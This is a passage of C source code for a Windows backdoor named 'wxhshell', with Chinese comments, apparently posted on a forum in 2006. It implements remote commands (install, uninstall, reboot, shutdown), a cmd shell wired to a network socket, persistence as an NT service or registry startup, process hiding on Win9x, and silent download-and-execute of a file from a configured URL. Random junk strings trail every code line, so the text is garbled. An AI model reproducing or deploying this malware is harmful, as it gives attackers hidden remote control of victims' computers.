  else { H`kfI"u8  
M>-x\[n+  
    switch(cmd[0]) { yhZ2-*pTg  
  hD sFsG  
  // 帮助 "zfy_h  
  case '?': { l]GLkE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xq9%{'9  
    break; fy7]I?vm@  
  } 21W>}I"0?  
  // 安装 @qI^xs=Z  
  case 'i': { k |M  
    if(Install()) PE-Vx RN)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -GQ`n01  
    else  $33wK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wTqgH@rGtR  
    break; x]w%?BlS  
    } G$WMW@fy  
  // 卸载 T2GJoJ!  
  case 'r': { U",kAQY  
    if(Uninstall()) {o AJL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o[aRG7C  
    else fE,\1LK4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c.r]w  
    break; z" 4$mh  
    } kowBB0  
  // 显示 wxhshell 所在路径 G8 H=xr#  
  case 'p': { =#^\ 9|?$  
    char svExeFile[MAX_PATH]; ]v$VZ '  
    strcpy(svExeFile,"\n\r"); eWE7>kwh  
      strcat(svExeFile,ExeFile); W A-\2  
        send(wsh,svExeFile,strlen(svExeFile),0); 'jqkDPn  
    break; 6ID@0  
    } ZE#A?5lb  
  // 重启 /a Nlr>^  
  case 'b': { !np-Jmi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L~=h?C<  
    if(Boot(REBOOT)) c#Y/?F2p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PIl:z?q({  
    else { g=Rl4F]  
    closesocket(wsh); gM&XVhQJ\  
    ExitThread(0); *i?#hTw  
    } 9n%vz@X  
    break; XC%u`UG  
    } "KSzn  
  // 关机 H+6+I53  
  case 'd': { M:rE^El  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &( aw  
    if(Boot(SHUTDOWN)) .7_<0&kW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3vepJ) D (  
    else { SN' j?-  
    closesocket(wsh); D.su^m_1  
    ExitThread(0); M*<Ee]u  
    } AhWcJD]  
    break; 2Jm#3zFYz3  
    } E.45 s? r  
  // 获取shell `r+zNJ@q  
  case 's': { 4zzJ5,S1  
    CmdShell(wsh); gLy1*k4  
    closesocket(wsh); Z^wogIAV  
    ExitThread(0); wO.T"x%X  
    break; NU"Ld+gw  
  } B OKY X  
  // 退出 *: }9(8d  
  case 'x': { K !g!tA$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cj'X L}  
    CloseIt(wsh); eaB6e@]@  
    break; rK(TekU  
    } _X;xW#go  
  // 离开 9(eTCe-~6  
  case 'q': { +6-_9qRq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '(fQtQ%  
    closesocket(wsh); #\1)Tu%-  
    WSACleanup(); 1L3 +KD~  
    exit(1); >sGIpER7  
    break; @|N{E I  
        } 2K wr=t  
  } @` 5P^H7  
  } 3:qn\"Hj  
pV[SY6/  
  // 提示信息 _D.4=2@|l8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dT?mMTKn+  
} "!,)Pv  
  } #|-i*2@oR  
A s"% u  
  return; xe`SnJgA  
} >W>3w  
"d"6.ND  
// shell模块句柄 cb82k[L6  
int CmdShell(SOCKET sock) JIL(\d  
{ ;Vv.$mI  
STARTUPINFO si; 'nJ,mZx  
ZeroMemory(&si,sizeof(si)); a1#",%{I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vLI'Z)\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]Ub"NLYV  
PROCESS_INFORMATION ProcessInfo; grVPu! B;  
char cmdline[]="cmd"; A9Kt^HR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :yxP3e%rp  
  return 0; b,hRk1  
} xlIVLv6dO  
dj-/%MU  
// 自身启动模式 T\v~"pMu*0  
int StartFromService(void) &a8%j+j  
{ zt!)7HBo  
typedef struct =W[M=_0u  
{ ~`yO@f;D  
  DWORD ExitStatus; !(A<  
  DWORD PebBaseAddress; gk hmQd  
  DWORD AffinityMask; ,76Q*p  
  DWORD BasePriority; ^i[bo3  
  ULONG UniqueProcessId; ,4mb05w;d  
  ULONG InheritedFromUniqueProcessId; aE(DNeG-H  
}   PROCESS_BASIC_INFORMATION; <5O:jd  
P1_6:USBM  
PROCNTQSIP NtQueryInformationProcess; &[b(Lx|i  
C[R|@9NI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *)bh6b=7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VW\xuP  
T3bYj|rh=  
  HANDLE             hProcess; I+eKuWB  
  PROCESS_BASIC_INFORMATION pbi; pN=>q <]L  
<IBWA0A=8a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ROi_k4Fj  
  if(NULL == hInst ) return 0; +k;][VC[O  
zD@RW<M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NjFlV(XT}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g|Xjw Ti8$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C23Gp3_0/  
AGhr(\j  
  if (!NtQueryInformationProcess) return 0; lk4U/:  
^]k=*>{ R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yij_'0vZ  
  if(!hProcess) return 0; f]NaQ!. 7  
xey?.2K1A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; * `3+x  
L_5o7~`0  
  CloseHandle(hProcess); yk0^m/=C(  
T_j0*A $  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B-p ].  
if(hProcess==NULL) return 0; @yNCWa~N  
Z{^Pnit  
HMODULE hMod; RPw1i*  
char procName[255]; II]-mb  
unsigned long cbNeeded; &ox5eX(  
7V%b!R}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <YAs0  
a\m0X@Q  
  CloseHandle(hProcess); ,a3M*}Y ~3  
]D_ AZI  
if(strstr(procName,"services")) return 1; // 以服务启动 =AP0{  
[{PmU~RMYf  
  return 0; // 注册表启动 Iu ve~ugO  
} 3Vk<hBw2  
J\?d+}hynX  
// 主模块 vhrURY.  
int StartWxhshell(LPSTR lpCmdLine) =>*9"k%m  
{ LG vPy  
  SOCKET wsl; ^f] 9^U{  
BOOL val=TRUE; _^h?JTU^  
  int port=0; wV q4DE  
  struct sockaddr_in door; Y z],["*Q  
!JQ'~#jKN  
  if(wscfg.ws_autoins) Install(); chu r(@Af  
R:y u  
port=atoi(lpCmdLine); Q"k #eEA  
_| >bOI  
if(port<=0) port=wscfg.ws_port; i\zN1T_  
MZt&HbD-  
  WSADATA data; Z8:'_#^@a[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vv1W<X0e<  
@4wN-T+1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $aY:Z_s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r12e26_Ab  
  door.sin_family = AF_INET; 2{01i)2y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E9Hyd #A  
  door.sin_port = htons(port); \tfhF#'  
6C- !^8[f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T# 3`&[  
closesocket(wsl); `;Xwv)  
return 1; K 5AArI  
} vPsf{[Kr  
-:Jn|=  
  if(listen(wsl,2) == INVALID_SOCKET) { ]m\:XhI*<  
closesocket(wsl); S~ZRqL7Z O  
return 1; w1)SuMFK_  
} i%otvDn1  
  Wxhshell(wsl); J%P{/nR  
  WSACleanup(); X?S LYm@v  
J5zu}U?  
return 0; $+n5l@W  
i&Me7=~  
} =UV=F/Af^  
(!koz'f  
// 以NT服务方式启动 }/VSIS@Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m8 Ti{w(  
{ 5wI j:s  
DWORD   status = 0; &P(vm@*  
  DWORD   specificError = 0xfffffff; 9=G dj!L  
*cc|(EM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3&Fqd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pJ_>^i=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]Czq A c  
  serviceStatus.dwWin32ExitCode     = 0; S^ JUQx7  
  serviceStatus.dwServiceSpecificExitCode = 0; +zzS  
  serviceStatus.dwCheckPoint       = 0; 8_uh2`+Bvb  
  serviceStatus.dwWaitHint       = 0; PF] Vt  
EK}QjY[i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D,SL_*r{  
  if (hServiceStatusHandle==0) return; ?sbM=oo  
KDYyLkI dr  
status = GetLastError(); C72btS  
  if (status!=NO_ERROR) P"k,[ZQ  
{ 1#jvr_ ga  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TmdR B8N  
    serviceStatus.dwCheckPoint       = 0; 0@2pw2{Ru  
    serviceStatus.dwWaitHint       = 0; hJ0m;j&4y  
    serviceStatus.dwWin32ExitCode     = status; fZt3cE\  
    serviceStatus.dwServiceSpecificExitCode = specificError; &:Sb$+z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 23gJD8i8  
    return; ?`Som_vKO  
  } J.pe&1  
* TR ~>|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;/ao3Q   
  serviceStatus.dwCheckPoint       = 0; 1a;&&!X  
  serviceStatus.dwWaitHint       = 0; zNQ|G1o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <P<^,aC/j  
} E3E$_<^  
uT{.\qHo  
// 处理NT服务事件,比如:启动、停止 -u%'u~s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P8;f^3V(+/  
{ ot.R Gpg%  
switch(fdwControl) :]-? l4(%  
{ 2s8(r8AI  
case SERVICE_CONTROL_STOP: 0%5x&vx'S  
  serviceStatus.dwWin32ExitCode = 0; jY5BVTWnV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \ /6m  
  serviceStatus.dwCheckPoint   = 0; Ia>>b #h  
  serviceStatus.dwWaitHint     = 0; me/ae{  
  {  P7 p'j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nx"v|"  
  } Jul xFjC  
  return; 1@A*Jj[R%  
case SERVICE_CONTROL_PAUSE: 4r>buEU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?u8 vK<2h  
  break; 1Qgd^o:d  
case SERVICE_CONTROL_CONTINUE: 0-w^y<\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^Sz?c_<2P  
  break; sYY=MD  
case SERVICE_CONTROL_INTERROGATE: /yj-^u\R  
  break; . G ~,h  
}; 9C)w'\u9+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i4oBi]$T  
} Zc57]~  
3a#j&]  
// 标准应用程序主函数 9@|X~z5E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b3!,r\9V  
{ 2 -M]!x)  
A[m4do  
// 获取操作系统版本 D^H<)5d9  
OsIsNt=GetOsVer(); 1MzOHE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `)R@\@jt  
QZ54Osdl  
  // 从命令行安装 iiZK^/P$  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q{Lsr,  
IRQ3>4hI  
  // 下载执行文件 dSBW&-p  
if(wscfg.ws_downexe) { Ctxx.MM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DeTZl+qm1E  
  WinExec(wscfg.ws_filenam,SW_HIDE); SAGLLk07G  
} ^6 sT$set  
_[W`!#"  
if(!OsIsNt) { 0\y@etb:mf  
// 如果时win9x,隐藏进程并且设置为注册表启动 c{t[iXDG  
HideProc(); _A .?:'-  
StartWxhshell(lpCmdLine); }AfK=1yOa  
} N:@C% UW}  
else E0*'AZi&  
  if(StartFromService()) GcPhT  
  // 以服务方式启动 md/Z[du:'  
  StartServiceCtrlDispatcher(DispatchTable); uz+b  
else p }bTI5  
  // 普通方式启动 cnOk  
  StartWxhshell(lpCmdLine); wp,z~raaS  
:B'}#;8_  
return 0; :{tvAdMl7  
}
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只看该作者 1 发表于: 2006-10-10
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